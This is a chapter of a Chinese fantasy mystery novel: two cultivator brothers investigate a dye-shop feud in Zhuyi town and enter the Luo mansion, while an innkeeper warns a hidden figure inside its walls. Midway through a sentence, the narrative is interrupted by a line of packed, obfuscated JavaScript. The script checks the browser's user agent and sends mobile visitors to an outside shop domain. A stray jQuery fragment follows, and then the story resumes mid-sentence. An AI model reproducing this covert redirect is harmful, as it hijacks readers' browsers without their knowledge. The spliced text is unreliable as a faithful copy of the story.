翌日晌午,岑浩雪刚从床榻上醒来,九郎同时推开房门。
见岑浩雪精神有些萎靡,九郎三步并作两步走到床榻边扶起岑浩雪。
「师兄,你怎么这时才起?恐怕你不止有失语之症,还有嗜睡之症。」
拉来一双枕头垫在岑浩雪背后,九郎按住岑浩雪要下床的身子。
「我亦不知,确实感觉身体有些许疲累,以后要减少卜算的次数了。」
岑浩雪也没强行下床,接过九郎递来的热茶转头问起九郎出去一趟有何发现。
「师兄,我今早出去打听到不少消息,你想先听哪个?」
九郎顿时兴致勃勃地要给岑浩雪讲述他此番出去的成果。
「先说说这朱衣镇的位置罢。」
「我打听了一些消息又去山上俯视这朱衣镇镇,发现这朱衣镇三面环山,只有一条官道以供进出,对了我还淘来一份朱衣镇的住宅图,师兄你看。」
九郎从衣袖里拿出一卷牛皮纸展开,其上均是建筑画像,与其说是住宅图,不如说是整个朱衣镇的地图。
岑浩雪仔细察看一番后手一点正中的住宅道:「罗府在朱衣镇的中心?」
「嗯?是的,我打听了一下,罗府好像是二十多年前才修建的,不知道为何会在朱衣镇的中心。」
岑浩雪早在九郎开口前就已陷入沉思,下意识地动动手指。
「师兄,可有何不妥之处?」
「暂时没有头绪,说说其他的发现。」
岑浩雪回过神,强行止住掐算的动作。
九郎担忧地看看岑浩雪,只能先讲述自己的发现。
「朱衣镇其实没什么古怪的事,称得上奇怪的只有染坊了。」
「详细说说。」
「朱衣镇如今只有两间染坊,分别是罗员外妻子的蒋氏染坊和王家的王氏染坊。」
「两家染坊原本还算亲切,但退婚之事后开始水火不容,蒋氏染坊每况愈下,王氏染坊反倒生意兴隆。」
「我打听到蒋氏染坊其实只是罗夫人的嫁妆,是二十多年前搬迁到朱衣镇的,也是搬到朱衣镇之后,罗府才修建起来。」
「罗夫人嫁到朱衣镇之前,朱衣镇原本就有三个染坊,除了提到的王氏染坊,分别是李氏和杨氏染坊。」
「三家染坊谁也压不过谁,直到蒋氏染坊出现才打破了三足鼎立的局面。从那以后,蒋氏一家独大,其余三家被压得喘不过气,几乎濒临倒闭。」
「蒋氏染坊入驻朱衣镇的第三年,罗员外的妹妹嫁给了当时的王家家主,两家结为姻亲,两家染坊已近结盟。」
「这一番变化让李杨两家坐立不安,为防止罗王两家的打压,他们也选择了联姻结盟,至此四家染坊各成两派对立。」
「但奇怪的是,罗王联合后并没有采取什么打压手段,反而对李杨两家和和气气,完全看不出先前针锋相对的模样。」
「李家、杨家自然不会轻易放松警惕,但过去数年也未见他们有任何动作,便放下心来继续染坊和布匹生意。」
「卧榻之侧岂容他人酣睡?罗王两家看似没有动作,私底下早已安排人渗透进两家染坊,设计老坊工出错被辞退、替换染料以次充好、仿造账目偷天换日……」
「如此十年,李杨两家还沉浸在日进斗金的喜悦之中,殊不知染坊从上到下全替换了个遍,就只剩一个挂着的名头,内里已成一具空壳。」
「十年前罗府小姐与王家大公子订立婚约后不久,李、杨两家染坊就悄无声息地消失了,后又有人上罗府闹事,最后还是不了了之,没掀起什么波澜。」
「对了,听说罗员外二十多面前其实是个穷小子,不知怎么得到蒋氏青睐下嫁于他,罗家才一跃成为这朱衣镇的风云人物,据说他那员外之职还是捐官得来的。」
「不过这都是道听途说,我也不确定真假,师兄怎么看?」
岑浩雪走下床榻,静静眺望远处青山,半晌他对九郎道:「我们非是亲历者,事实真假如何也不得而知,或许我们听来的只是别人想我们知晓的。」
「九郎,收拾收拾,去揭榜罢,罗府会找到我们想要的答案。」
「好,师兄,你别太过勉强自己。」
岑浩雪点头,濯上清水梳洗一番后便恢复如常。
「对了,师兄,帷帽要带上,现在街市上到处是找你的。」九郎动作一顿想到这一茬立刻提醒岑浩雪注意遮挡。
「师兄知晓了,不到万不得已不会摘下的。」岑浩雪对此并未有什么感觉,只当满足九郎的小要求,引起骚动也非他本意。
「师兄,那术法不能再施展吗?」九郎心中依旧有些不爽,虽然帷帽挡住了别人的窥视,但也挡住了他的视线,到底不如遮掩的术法方便,也不会被没有眼色的人撞上来。
「恐怕不行,那是师尊设下的术法,他没有教给我。」岑浩雪摇头表示他并不能施展。
「啊?那师兄你就不应该撤掉啊。」
九郎顿时有些气恼,怎么师兄做事不考虑后果呢?
「就算我不撤,术法今天也会到期限自行消散,师尊只给术法设了三百年的期限,我不想撤它也还是会自己消失的。」
「啊啊,师尊每次都喜欢这样,关我禁闭也是!」九郎一翻白眼最后还是接受现实,退而求其次道:「师兄,下次记得提前告诉九郎,我好替你准备。」
「随你,收拾好了就走吧。」
「好嘞!」
说是收拾其实也没什么东西在房间里,不过九郎也习惯听岑浩雪的话去做事,还挺乐在其中。
“两位可是要出门?”
九郎转头就见朱老三满脸堆笑地出现在大堂中,护着岑浩雪来到门口,他沉脸道:“你有事?”
“哎呀,这不是两位都是我的贵客嘛,要是两位不喜我这就离开哈哈。”
朱老三搓搓双手随之尬笑两声,姿态放得极低。
“银子不用找了,我与兄长现在要离开。”
九郎皱眉说出一句就与岑浩雪踏出来宾楼大门。
“诶,两位!才住两日就要走啊?诶诶,两位!”
朱老三大声挽回,九郎与岑浩雪却早就走远,他看看自己肥硕的肚子还是放弃追上去。
回到大堂内,朱老三不由猜想那俩兄弟为何今日忽然要离开,看那方向倒像是向罗府去的,他俩看着也不像是普通人啊,至少比他曾在京城见过的道人更有气质。
朱老三摸摸下巴眼中闪过一丝担忧,思索片刻后直接迈开短腿朝罗府的方向跑了过去。
“呼~呼~”朱老三撑在一处朱墙边急促喘气,一脸通红,手不住地擦拭额头上的汗水。
顺着墙根摸到一处侧门,朱老三小心翼翼地轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234644|151399||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
声开口:“小妹?小妹,你在不在?”
等了一会儿,一道辩不清男女的声音嘶哑传出:“什么事?”
“小妹,三哥是来提醒你的。”朱老三望了望周围一脸作贼似地开口。
“有事快说。”
“额,小妹,其实过了这么多年你也该放下了,把自己困在这里又是何必呢?”
朱老三扇扇脸还是忍不住劝告墙内之人。
“呵,我说过,不杀了他我是不会离开的!你若只是来说这个的,那我们也没什么好谈的。”
被唤作小妹的人一声冷哼,看架势是要直接离开。
“别别别,小妹,我不说了,既然你意已决三哥又能怎么样呢?我来是让你注意两个人。”
朱老三眼见墙内之人不像开玩笑,赶忙出声挽回。
“快说!”墙内之人并没有多少耐心。
“三哥跟你说罢,是前日住店的两位客人,我看他们不像是普通人,今天忽然退房朝罗府的方向来了,恐怕是揭榜去冲着你来的。”
“那又如何?杨止微那老道都对付不了我,两个毛头小子又有多大本事?!”墙内之人不以为意,对此嗤之以鼻。
“哎呀,小妹,我跟你说,在京城的时候我就见过那杨止微,他只会装神弄鬼,没真本事的!那两人不一样啊,以三哥眼光来看肯定不简单啊!”
朱老三连连摇头,贬低了一番杨止微又表明他所说非虚。
“我打听过了,听说他们是从烟芜山下来的!烟芜山那是什么地方?里面可是有吃人的蛇妖啊!”
墙内之人沉默半晌,语气稍微缓和:“我知道了,我会小心的,你还是快些离开吧,牵扯进来不会好过的。”
“唉,你三哥走南闯北这么多年什么妖魔鬼怪没见过?三哥主要是担心你啊,你把自己变成现在的模样要是最后没成你!唉!”
朱老三不由叹气起来,此时罗府正门不远却传来骚动。
又有人揭榜了!
“你快些离开吧,不要让人知道你来过这里!我先走了!”
墙内之人很快没了声音,朱老三又心中叹了一口气才绕过几条小巷子回了来宾楼。
一揭榜,岑浩雪和九郎便被请入了罗府中,围观群众还没聚集人就已经不见了,一时间捶胸顿足、非常懊恼。
“两位高人,请随奴婢前往正堂。”
一脸青黑的侍女领着两人向前,穿过小道一路不少下人都是萎靡不振的模样,步履蹒跚犹如行将就木之人。
「师兄,他们身上好重的死气,恐怕没几日可活。」
「他们不像是幻境构造的假象,现如今就我也分不清幻象与现实的界限了。」
九郎帮岑浩雪正正帷帽,对此没有多说。
没多久他们便饶过一潭枯竭的莲池来到正院,正堂中竟有不少人。
九郎扫视一眼,坐在正位的一对面容憔悴的夫妻应该就是罗员外和其夫人,坐于偏位的应是以往揭榜的奇人异士。
有身着道袍的、手持佛珠的没剃度的和尚、穿金戴银的媒婆(?),甚至还有衣衫褴褛的乞丐,除此以外,他们也看见了昨日揭榜的杨止微。
不过他此刻不再仙风道骨,反倒有些狼狈,但比其其他眉目青黑的人可体面多了。
见九郎与岑浩雪步入厅堂,罗员外立即携其夫人下座迎接。